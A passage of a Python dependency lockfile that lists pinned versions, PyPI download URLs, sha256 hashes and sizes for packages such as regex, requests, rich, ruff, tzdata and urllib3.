{ url = "https://files.pythonhosted.org/packages/d8/c1/98622479e3c354a446a75232e522d747d2b3df23092dcd8a5309380a2020/regex-2026.9.29-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0def9fb6abac55492d6d51cddb7225d07d6f279e774e0adc08569a54a5fc8d46", size = 820674, upload-time = "2026-09-29T00:48:19.32Z" },
{ url = "https://files.pythonhosted.org/packages/6c/d0/5808c95f9c79ed27b5eedaafc3df6239ec56a49f2e23ea8f831b18427c82/regex-2026.9.29-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:888d60953908dcf761aa320c3e390ab8556efbdb551ace63921de90f6ae0848d", size = 793306, upload-time = "2026-09-29T00:48:21.615Z" },
{ url = "https://files.pythonhosted.org/packages/bf/d3/021ca2638671ad20603bcd9b4d5bfa35d2610cd216a043ea7f0b44ea39f6/regex-2026.9.29-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:ed511a0708e2297e1d6431e7fb217e3402791e491e02da800658ace4973df1bb", size = 803103, upload-time = "2026-09-29T00:48:23.871Z" },
{ url = "https://files.pythonhosted.org/packages/6b/2d/755c6d13ef9c657378013676c391c7a402166b3f419a464a3e058dcbe533/regex-2026.9.29-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:e1172147d28d8fbcf8cb8d26c41506169f5ad8fe9ec969cb116835a19d4d8eca", size = 872175, upload-time = "2026-09-29T00:48:26.255Z" },
{ url = "https://files.pythonhosted.org/packages/6c/fc/e1cab183b9dafe8597f58c1c766da9bf96204d3b2f232bcf3eeb75ff7b6c/regex-2026.9.29-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:92f05c9c42bde5785dc48770bc2194d9f7442544156f951e19cd31b096cec562", size = 777362, upload-time = "2026-09-29T00:48:28.389Z" },
{ url = "https://files.pythonhosted.org/packages/06/7c/e10ea17fba31fb4a1f9d13ed53a2d2a9066a2aea58d7557e263f6d99e7b0/regex-2026.9.29-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:f37964e4a5e993d2fd45147741e9dff7f34a2d8c00ab94c4ea0514a4677f959e", size = 865606, upload-time = "2026-09-29T00:48:30.4Z" },
{ url = "https://files.pythonhosted.org/packages/8e/6e/69824d9aee1fd41c54ea7264654a47c8d9d84d8a228e11c2bcf4c201ed81/regex-2026.9.29-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:951733b1bbdb71e377cec567b409f1a7881b47cfcad84121aa74cb575fa425ea", size = 807945, upload-time = "2026-09-29T00:48:32.375Z" },
{ url = "https://files.pythonhosted.org/packages/89/22/857050a86e21ce60193e02a8ef662521f2e263a645c8b1b905fc136b61a7/regex-2026.9.29-cp314-cp314t-win32.whl", hash = "sha256:65b408d8fcb273e3499e7ef2ce796810da1becd208c7fb4373692a242d79d461", size = 276758, upload-time = "2026-09-29T00:48:34.72Z" },
{ url = "https://files.pythonhosted.org/packages/4d/96/56808fe029553d7d4c703414f2a527faad2ea2bfa9ca094a2e7f8762b530/regex-2026.9.29-cp314-cp314t-win_amd64.whl", hash = "sha256:bf48516e35cf848390ea68850aba53e7c333720d2945b4d2c25b69fc5171723f", size = 286527, upload-time = "2026-09-29T00:48:36.864Z" },
{ url = "https://files.pythonhosted.org/packages/01/aa/074e2cfb3d8101a6a764aba5f7c5d1e21de087483e35bdc0c4ce2eb60364/regex-2026.9.29-cp314-cp314t-win_arm64.whl", hash = "sha256:9173db3be74a35cb6731701094b98120f7ee4876a287882a59cdea1fa7da342f", size = 285954, upload-time = "2026-09-29T00:48:38.901Z" },
{ url = "https://files.pythonhosted.org/packages/a7/dc/d84990386c9dfdf8c377f00f371b241fdc9a2c8aea0e3d66941b2e51be0b/regex-2026.9.29-cp315-cp315-macosx_10_15_universal2.whl", hash = "sha256:c3589f40749acce747510bf5d589d54e376cb0930ea58b35effac97e5312b0c1", size = 497836, upload-time = "2026-09-29T00:48:40.858Z" },
{ url = "https://files.pythonhosted.org/packages/c2/ab/a569ebde875fa12ff8c6c9a30e07503620f195e4be4d54c3d3ee8eecc283/regex-2026.9.29-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:32ab11df9677ca80bcbb5fe4eb1da9109a5019239a054836efc6fa1c64e683cf", size = 296244, upload-time = "2026-09-29T00:48:42.952Z" },
{ url = "https://files.pythonhosted.org/packages/f3/3e/7d548e82a108e7c8b2d5246650e397a2f8db599f9b2e975466939c5b4e70/regex-2026.9.29-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:7c03031610e3e6ed1768a2b7a8fc84637c1257b50c5eacaf094c6e17a84fc563", size = 293748, upload-time = "2026-09-29T00:48:44.985Z" },
{ url = "https://files.pythonhosted.org/packages/40/34/a8e19a52f452bbb07b32a2bef70dcdf90c2737049749f74cc12d7486fb4f/regex-2026.9.29-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:42e82e578c904445d4c8a35b8f28052cf567593215fa5db06266fbc6f77aaa2e", size = 807840, upload-time = "2026-09-29T00:48:46.948Z" },
{ url = "https://files.pythonhosted.org/packages/88/7b/11fbd4640b3bb82b72822a63c20ade4013d562d291703a9debeedc24e682/regex-2026.9.29-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0b65c72739f981377c9c22e0c5c3cd7f42da7bd8a3c9209330fac772c7d893ed", size = 879330, upload-time = "2026-09-29T00:48:49.168Z" },
{ url = "https://files.pythonhosted.org/packages/f3/55/de58c74f1f4e31586d83eb39c56872d686c4e0d0966d151884c833b94ced/regex-2026.9.29-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4408b2b27a95ca8cc48b7411945753773353b5c93b307754781086c99d3a576f", size = 919251, upload-time = "2026-09-29T00:48:51.322Z" },
{ url = "https://files.pythonhosted.org/packages/81/42/a8c480f6dd5ac59fa28ddae79afd9d7ac7e596fdb61813adc65bb6e674b8/regex-2026.9.29-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a714befaacbd10092ffe4cea0d3c5f008fb9efe9bc322c715bcdfdee414b9a3d", size = 808808, upload-time = "2026-09-29T00:48:53.529Z" },
{ url = "https://files.pythonhosted.org/packages/68/60/0bc0d1ec8b37ad64be6fa30e035251f11de9667a0fac9e82ee74517d81be/regex-2026.9.29-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:33026515aebc0e70d1c89978e53e8d695d35d9e472f8d5b34465ba3c74028650", size = 789907, upload-time = "2026-09-29T00:48:56.036Z" },
{ url = "https://files.pythonhosted.org/packages/da/84/116a3ef19b3acfe81077f0bf2cbc7714a5e94bc8935b7243ab61cb0f1c3c/regex-2026.9.29-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:31b003f9a070335e2a8233ee9b14a3ca8e6d792012ae011f741bf0aaf11744c5", size = 795770, upload-time = "2026-09-29T00:48:58.284Z" },
{ url = "https://files.pythonhosted.org/packages/96/ba/e38c3f203e7e7e18c957d48e6cb6dbf96c11e95a44efa4a480522afc5d6d/regex-2026.9.29-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:c03c6eb6ece86dfdcbb34799efaa339b093132e1aceed491ba5e08fe06cdf699", size = 870671, upload-time = "2026-09-29T00:49:00.506Z" },
{ url = "https://files.pythonhosted.org/packages/2f/0f/9ee0b0cb76c55f63684bd7fff554978e8773b4fc86e2bcb2d50772dc1086/regex-2026.9.29-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:a5300757f8a68f5b6cc33f57338d72a0e3589c5cc9ad5f8504ea06f028be582a", size = 778631, upload-time = "2026-09-29T00:49:02.984Z" },
{ url = "https://files.pythonhosted.org/packages/b6/19/e6e3eeb226af5872c4958002f6edef4e4f40ea4cc5f5665023f2019eb045/regex-2026.9.29-cp315-cp315-musllinux_1_2_s390x.whl", hash = "sha256:80c7cadd3fd2bfde5df8aa0787e315812cad0c313a753095d02f4c2b6c01677b", size = 862187, upload-time = "2026-09-29T00:49:05.264Z" },
{ url = "https://files.pythonhosted.org/packages/5b/62/823c102e106bb2711d6b7dfe5981552fe4467b2969c46a20c5c383cf498c/regex-2026.9.29-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:3f1e6cb402a89457582cd696f982559217d13484a193202c394015297968c86d", size = 798423, upload-time = "2026-09-29T00:49:07.644Z" },
{ url = "https://files.pythonhosted.org/packages/37/e0/e927776258fa70b2f6feffc3be584ffc85ba4c1e20a320f0aee9a632fc7d/regex-2026.9.29-cp315-cp315-win32.whl", hash = "sha256:a64b85a4760337cfefdb27d42da6ed8b58e8cde3f2d57b6ef43e76ef6ea9ef47", size = 274757, upload-time = "2026-09-29T00:49:10.513Z" },
{ url = "https://files.pythonhosted.org/packages/77/04/358de85d1860238e1b4fa98fc2c80c990124a25d2e14739e28cc02c25562/regex-2026.9.29-cp315-cp315-win_amd64.whl", hash = "sha256:b3e445b66c80b4eb4234e855ce94d9adc183eedbd632816228d89930b91b2c5b", size = 283824, upload-time = "2026-09-29T00:49:12.849Z" },
{ url = "https://files.pythonhosted.org/packages/92/d3/d5c5b264784a5ab2b0f8cf620c1eeb4dbf3440d306761905e7d99345bef5/regex-2026.9.29-cp315-cp315-win_arm64.whl", hash = "sha256:8f39588af4731c8923c26810eb3b33f76f17633985e40f59c3cd45a33805a895", size = 283664, upload-time = "2026-09-29T00:49:15.331Z" },
{ url = "https://files.pythonhosted.org/packages/02/dc/f63ec2c201445ce1150fe780f5c56f16a10124d9a9da3a93161dbb0d8892/regex-2026.9.29-cp315-cp315t-macosx_10_15_universal2.whl", hash = "sha256:fb99cc9d45f48895d9d67f6a0b8a57f08d39c174d9f25ad97a313e0470267b1c", size = 501549, upload-time = "2026-09-29T00:49:17.705Z" },
{ url = "https://files.pythonhosted.org/packages/9a/5c/d2a698dc6bfc11fbce03f1cb0249c13284e93b79ed11f893edf6fac431c9/regex-2026.9.29-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:720537c7ea6f80dc61913184edb0ce2497a306b39ef19f28505b322553d52bdb", size = 298187, upload-time = "2026-09-29T00:49:20.171Z" },
{ url = "https://files.pythonhosted.org/packages/85/b7/88dcdb38cd3935d4ee9e9ce9b8e56cb3b3518d1f020acfa7dd62ad289bf8/regex-2026.9.29-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:0fd2c901cc307a745ad4bc87f20060d7a0825a3371d1e93488af22e7a387f78f", size = 296157, upload-time = "2026-09-29T00:49:22.342Z" },
{ url = "https://files.pythonhosted.org/packages/d3/8e/ba6c01dde33a69fc294b38b43f6677baaa5735a6248f39708031a738158a/regex-2026.9.29-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b11b589e00095ec69cf79841a76360f9b079e95b0368a25b5ebb951ab0c157ff", size = 818468, upload-time = "2026-09-29T00:49:24.612Z" },
{ url = "https://files.pythonhosted.org/packages/2a/f1/2586693e3a2d6b1247852593d37a6c17b42a92ee44f7cdcb9a0c1494e64a/regex-2026.9.29-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d7cab119d0df0b9413f106b4d7fc34f2872d3574ed3806fb48959c830b1537da", size = 882825, upload-time = "2026-09-29T00:49:26.996Z" },
{ url = "https://files.pythonhosted.org/packages/30/51/084f3e7bdcd0e9c33665c938cf5d134dc3548cbb4a75f0197ec7bfd754b1/regex-2026.9.29-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b89efc38431793d28b7cd91227e2f952ad7c48df19132b17f43a5fec3c14143b", size = 923314, upload-time = "2026-09-29T00:49:29.822Z" },
{ url = "https://files.pythonhosted.org/packages/5a/f1/066c6fc23b7dc229789c21c880b5ba5ad689fb95fed12e078266f55a1f9b/regex-2026.9.29-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:80a5ea3b4fd9d6a5b9a44f7976a9acaaab35aa3c1f6b29e5bd857dfabaded223", size = 822222, upload-time = "2026-09-29T00:49:32.404Z" },
{ url = "https://files.pythonhosted.org/packages/0a/56/592cd46fdb8f2f8682a1d7fd1310e4d0bcb93fbd0e6bbe4141ac28240227/regex-2026.9.29-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:19959129885356df0e97556856f77eb2888380dac18bed075a7c05c5128c618d", size = 794882, upload-time = "2026-09-29T00:49:35.076Z" },
{ url = "https://files.pythonhosted.org/packages/ee/4d/d65384bb071c864b01aa8314e3a6a687845ebd57588390976edc960c218b/regex-2026.9.29-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:6a1a824fbed817e0a891103886b68f063b1e83cc51bc97192a90a60195a9291f", size = 805887, upload-time = "2026-09-29T00:49:37.395Z" },
{ url = "https://files.pythonhosted.org/packages/65/b6/358de0d8f40d5178e4f7e7e121cfd5b961c812b77a055d11f5079e3f8fd7/regex-2026.9.29-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:1ba8c6a416569ce0d37e83e28a254a61dc99a419084dfb6476cea02d997f74fa", size = 872901, upload-time = "2026-09-29T00:49:39.927Z" },
{ url = "https://files.pythonhosted.org/packages/00/06/6bfded72d043240c6b52bbb5e16f639d81affbf7484b4fe2ec45f3d4afc9/regex-2026.9.29-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:446654b29bfaa30500d80947eda42cef1449dc8a87f4e3cf061cc8485d3a1f0b", size = 782970, upload-time = "2026-09-29T00:49:42.581Z" },
{ url = "https://files.pythonhosted.org/packages/5a/20/9f418a50baa78b3ed8308fcb0cc49e472dd000b7ef935a7295af202ea744/regex-2026.9.29-cp315-cp315t-musllinux_1_2_s390x.whl", hash = "sha256:bf3c49863c23a1ad6da9c30351aed6cff8d5ddbeb63c5c8420ae54e98c7d0138", size = 865441, upload-time = "2026-09-29T00:49:45.238Z" },
{ url = "https://files.pythonhosted.org/packages/2c/29/817c7eacdeaf8463123e949bd394c39ad024eea1ec38ddf5ad141da2f3bd/regex-2026.9.29-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:01000ddf0e3ffef97f2413ceb514f6313040106b6d18a03ee00a4fe35c1eb1db", size = 809431, upload-time = "2026-09-29T00:49:47.878Z" },
{ url = "https://files.pythonhosted.org/packages/63/0b/83aab3b5b739947f744135a7a3a446e25433ebc92b05e01aae197ccbfdda/regex-2026.9.29-cp315-cp315t-win32.whl", hash = "sha256:c4e38dd8f39c43a91d2410ad2b85610701b0979342c3df1d69eaf8e838c757d8", size = 276964, upload-time = "2026-09-29T00:49:50.524Z" },
{ url = "https://files.pythonhosted.org/packages/72/f2/6314b5fc68789b5dcc38885bc6e3d6986b34fb3372b7231088ee5cecaa05/regex-2026.9.29-cp315-cp315t-win_amd64.whl", hash = "sha256:e2c89e9b762c57f59d5e99ee8b20202adb892e35f8d3485741340999ca55058e", size = 286487, upload-time = "2026-09-29T00:49:53.224Z" },
{ url = "https://files.pythonhosted.org/packages/56/bc/97b2245c8c7b2dd01f2db74f2bea003cd33c15009b4996a2447f46b5325c/regex-2026.9.29-cp315-cp315t-win_arm64.whl", hash = "sha256:e8c65ef3862a8ad6e86492b6ed9327805dd66904c012bd3649dc67d822ed6c34", size = 285955, upload-time = "2026-09-29T00:49:55.655Z" },
]
[[package]]
name = "requests"
version = "2.34.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "certifi" },
{ name = "charset-normalizer" },
{ name = "idna" },
{ name = "urllib3" },
]
sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 142856, upload-time = "2026-05-14T19:25:27.735Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", size = 73075, upload-time = "2026-05-14T19:25:26.443Z" },
]
[[package]]
name = "rich"
version = "15.0.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "markdown-it-py" },
{ name = "pygments" },
]
sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" },
]
[[package]]
name = "rich-argparse"
version = "1.8.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "rich" },
]
sdist = { url = "https://files.pythonhosted.org/packages/6a/e5/1064c43203a357d668cd42435f7a15fe6af51512d85b2104fecb937aa861/rich_argparse-1.8.0.tar.gz", hash = "sha256:679df3d832fa94ad6e4bdb07ded088cd7ea2dddc58ae9b2b46346a40b06cbc0c", size = 38940, upload-time = "2026-05-01T15:18:43.604Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/0b/35/1cceccc5fcb50fa2ed53e2aa278cd032f3902682a73e763fb1ac3be8e6fa/rich_argparse-1.8.0-py3-none-any.whl", hash = "sha256:d2a3ce7854654e2253c578763ab0a32f05016f23a55fadba7b9a91b6c0e92142", size = 25616, upload-time = "2026-05-01T15:18:42.395Z" },
]
[[package]]
name = "ruff"
version = "0.16.9"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/96/bf/c935ca98e73fe8ce65b87ef08a280c0c1e85295d569228c15e87d8fdfaf1/ruff-0.16.9.tar.gz", hash = "sha256:12b625c6cfba78d285d9f48eda5f053374f1e53cb10ef17342a383750db99161", size = 4948764, upload-time = "2026-09-24T20:37:49.416Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/0d/26/df51322b52ee1ada7eff2d071ea09d11d5c2d1dcc9f02594f5785c4d1635/ruff-0.16.9-py3-none-linux_armv6l.whl", hash = "sha256:95e6f022090368ab3b824c36276839c53b2adf1a3f4c09fefc33dfc400f6da96", size = 10082922, upload-time = "2026-09-24T20:37:13.045Z" },
{ url = "https://files.pythonhosted.org/packages/a5/27/7bf51f5a7aa375e9f339280a303aab44ca75dc1525f1cdc5991761685b0f/ruff-0.16.9-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:a5f27be168556594a86d2f415db0cf43f5291917849318f873c7e2791f7a8c67", size = 10236360, upload-time = "2026-09-24T20:37:16.049Z" },
{ url = "https://files.pythonhosted.org/packages/b6/63/09659283f92f02dff45809da194a70da2f688d87c55d8875c4fae3536072/ruff-0.16.9-py3-none-macosx_11_0_arm64.whl", hash = "sha256:1632eb1d6197f33bd00b1acbc5b71009e89a8895c158e2d2b03a834fac964ab6", size = 9892940, upload-time = "2026-09-24T20:37:17.957Z" },
{ url = "https://files.pythonhosted.org/packages/24/58/98de1b72ec172f5f8f1731236fe21585b3998bf7dfe9fcc44ae9ba626012/ruff-0.16.9-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b3f951b14d865d5952c89d40a5ca07e87abe24fa5453299878411e127748fb1c", size = 10032114, upload-time = "2026-09-24T20:37:19.942Z" },
{ url = "https://files.pythonhosted.org/packages/c8/7d/f1e17c54ab59d4bad1dce8ee3e22a7a1d0ef4745240decacdcf3832b5bb2/ruff-0.16.9-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:447fc07e1573afff7cb02803462b12b6c8ece7cf10e2cd78565fa6d7a1c0bf8d", size = 9910227, upload-time = "2026-09-24T20:37:21.872Z" },
{ url = "https://files.pythonhosted.org/packages/34/19/436f647a65075bbd3bab2668b3bdaa5120559b294694018cdcefabbbf30b/ruff-0.16.9-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8a3e039a6a40ed976c491722b60e0ae4a4aa1a86057f540ee7a37a5d19ae9120", size = 10547484, upload-time = "2026-09-24T20:37:24.229Z" },
{ url = "https://files.pythonhosted.org/packages/03/59/38430a6bc2f6d8095447ac39625cf8b6e9344a47e6c26225c8ba1bff3ffb/ruff-0.16.9-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4684dded7db60aa57cb118fa158630f5feade4af5782903b6053484bdf9bd129", size = 11412367, upload-time = "2026-09-24T20:37:26.307Z" },
{ url = "https://files.pythonhosted.org/packages/c8/bd/bbb6d7fc7f208c8b8c50dd5dc8206e4cfdb1e7a8fb852606a3adf370c880/ruff-0.16.9-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d29c934357e45642fda2f34c0b1f4025b4a6c01e15e4bf0016879d60078a142c", size = 10869787, upload-time = "2026-09-24T20:37:28.35Z" },
{ url = "https://files.pythonhosted.org/packages/bc/b8/9c543074918061abbefc3bd139bee22de35abedb00dde0f2d27288838962/ruff-0.16.9-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a21713e629d3e5bdb2f5c2def1cc7f04f47fa8e1a7eb0571b4a28e1da64bc728", size = 10406494, upload-time = "2026-09-24T20:37:30.624Z" },
{ url = "https://files.pythonhosted.org/packages/35/7a/5a8851bd146e7ccf8fd4b003f6c75c11f8fbdb0e60673b45097986b6bf41/ruff-0.16.9-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:7baa24ef5fc8e77aa93879e1d3f43754a01ae488e869f1ae30cf431afd4d2452", size = 10590083, upload-time = "2026-09-24T20:37:32.439Z" },
{ url = "https://files.pythonhosted.org/packages/87/f0/4c3467188f23f806960b46fa76575a7cd0514c9ba90562650b71efc96980/ruff-0.16.9-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a41aac6230aadfaa133bdfa1614488531ffa3e0837567ae04c0da2058a9c0f9e", size = 10119151, upload-time = "2026-09-24T20:37:34.581Z" },
{ url = "https://files.pythonhosted.org/packages/15/34/5a4def5adea572ce6aea0bb64f21f928ee317b80e0db747d7979b01d7261/ruff-0.16.9-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:c2529fb5896d49115b0e9aa8f887490b34bbe76baf879ec2264ac59406869ce7", size = 9911544, upload-time = "2026-09-24T20:37:36.796Z" },
{ url = "https://files.pythonhosted.org/packages/62/5d/d15ebea7499eef9373318c0ee6ca127832927c6529731f6d48e18dce7ca9/ruff-0.16.9-py3-none-musllinux_1_2_i686.whl", hash = "sha256:41e3870277694177429b56406d65dfbdb2c2802c52b715edaf6a0b829c69d4ee", size = 10269884, upload-time = "2026-09-24T20:37:38.857Z" },
{ url = "https://files.pythonhosted.org/packages/d1/56/c5d3cd119ded7a3c7aba0e961b69cb3df701c91662c98ad694467d060ce1/ruff-0.16.9-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:8adbe4e58af167f767d7b2ba5e83c42e878350796cf78c2f5e14ab9903a92588", size = 10749366, upload-time = "2026-09-24T20:37:41.042Z" },
{ url = "https://files.pythonhosted.org/packages/ac/fe/734ec7527029ac757ecf821f143c9f3fcf69149c21f53a044a899b430f5a/ruff-0.16.9-py3-none-win32.whl", hash = "sha256:0e1dbc2073624dee6618d41d0098690a7244654af746704b64759e12b6b6b385", size = 10152355, upload-time = "2026-09-24T20:37:43.025Z" },
{ url = "https://files.pythonhosted.org/packages/14/21/26e4643629b3ebb44f0a06f9c9a53058d63d989415f63a9a3c28e2ee7f22/ruff-0.16.9-py3-none-win_amd64.whl", hash = "sha256:6bd40fec8cd4c8a3d4dd589bd8ad4e6320c13c29234159bfd959a40d529d597b", size = 10592965, upload-time = "2026-09-24T20:37:44.944Z" },
{ url = "https://files.pythonhosted.org/packages/51/60/5fb1a39dbb5ae314d5f59bc7348a63c1d5c20f3cd83914c4b5cb0be31d2d/ruff-0.16.9-py3-none-win_arm64.whl", hash = "sha256:ed1a252039200f57a59eebc063b54beabea67bfbaaca0eeaa7f54b5fbcda2284", size = 10458649, upload-time = "2026-09-24T20:37:46.882Z" },
]
[[package]]
name = "texttable"
version = "1.7.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/1c/dc/0aff23d6036a4d3bf4f1d8c8204c5c79c4437e25e0ae94ffe4bbb55ee3c2/texttable-1.7.0.tar.gz", hash = "sha256:2d2068fb55115807d3ac77a4ca68fa48803e84ebb0ee2340f858107a36522638", size = 12831, upload-time = "2023-10-03T09:48:12.272Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/24/99/4772b8e00a136f3e01236de33b0efda31ee7077203ba5967fcc76da94d65/texttable-1.7.0-py2.py3-none-any.whl", hash = "sha256:72227d592c82b3d7f672731ae73e4d1f88cd8e2ef5b075a7a7f01a23a3743917", size = 10768, upload-time = "2023-10-03T09:48:10.434Z" },
]
[[package]]
name = "types-pyyaml"
version = "6.0.12.20260906"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/90/6e/abec85b9013db5b934b0280a6dd104904d84f7bcbaab2e2f3def87ac7463/types_pyyaml-6.0.12.20260906.tar.gz", hash = "sha256:f59c1cc05010b833d2d72287bbaa72610106b28d42d89a907313117faba85212", size = 18649, upload-time = "2026-09-06T06:35:35.362Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/15/c0/fc0644b7ddcfb969e95845837143cb5173ddd6e06ee4ba5fc493cd9329b7/types_pyyaml-6.0.12.20260906-py3-none-any.whl", hash = "sha256:bca893ff0d51df5c9053137d5d0e6ccd36e939a196356f1d5c16372422f5137b", size = 21282, upload-time = "2026-09-06T06:35:34.372Z" },
]
[[package]]
name = "types-regex"
version = "2026.9.10.20260911"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/de/df/3a585f38e180cd6f4588a9549f380a81dd0b71b43c307eb35c10944390a3/types_regex-2026.9.10.20260911.tar.gz", hash = "sha256:049b83eebc92c38fff283444b4046f58a5dea45bfea20c352bc5159308175b6a", size = 13841, upload-time = "2026-09-11T06:45:05.953Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d6/58/3ac578b782e529fe803abf8c7e05b3f9f8da42bbfd2d5020da30c1ae1daa/types_regex-2026.9.10.20260911-py3-none-any.whl", hash = "sha256:2b55d91d317164800d5630a2273b70b723d9e0e7c40654d2b89465670c62ab06", size = 11192, upload-time = "2026-09-11T06:45:05.064Z" },
]
[[package]]
name = "typing-extensions"
version = "4.16.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5", size = 113555, upload-time = "2026-07-02T08:40:05.92Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8", size = 45571, upload-time = "2026-07-02T08:40:04.659Z" },
]
[[package]]
name = "tzdata"
version = "2026.4"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/e4/31/3d74fa778a63b98b7374323befcc0be5ab3bd94afd4096a0124e7379152c/tzdata-2026.4.tar.gz", hash = "sha256:f1b8bd365d8d210c55353f4d7f8d6d8561c0ba50d704b700d195a9424bba0d79", size = 199350, upload-time = "2026-09-12T12:56:03.251Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/f9/bc/8737e8d54cf51106118039b83f485a4783112fab49ea9d044b234978a46e/tzdata-2026.4-py2.py3-none-any.whl", hash = "sha256:c2169a8b0a7a5e9674da5a135ccdfb2b3e671b333ed9fed17b41f73c34476e81", size = 347494, upload-time = "2026-09-12T12:56:01.67Z" },
]
[[package]]
name = "urllib3"
version = "2.8.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/e3/05/b17359e1cefb4f909b5e40b1b90a496d987258916dbbf88e842c729f510e/urllib3-2.8.0.tar.gz", hash = "sha256:63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63", size = 458972, upload-time = "2026-09-15T19:29:36.253Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", hash = "sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", size = 135717, upload-time = "2026-09-15T19:29:34.577Z" },
]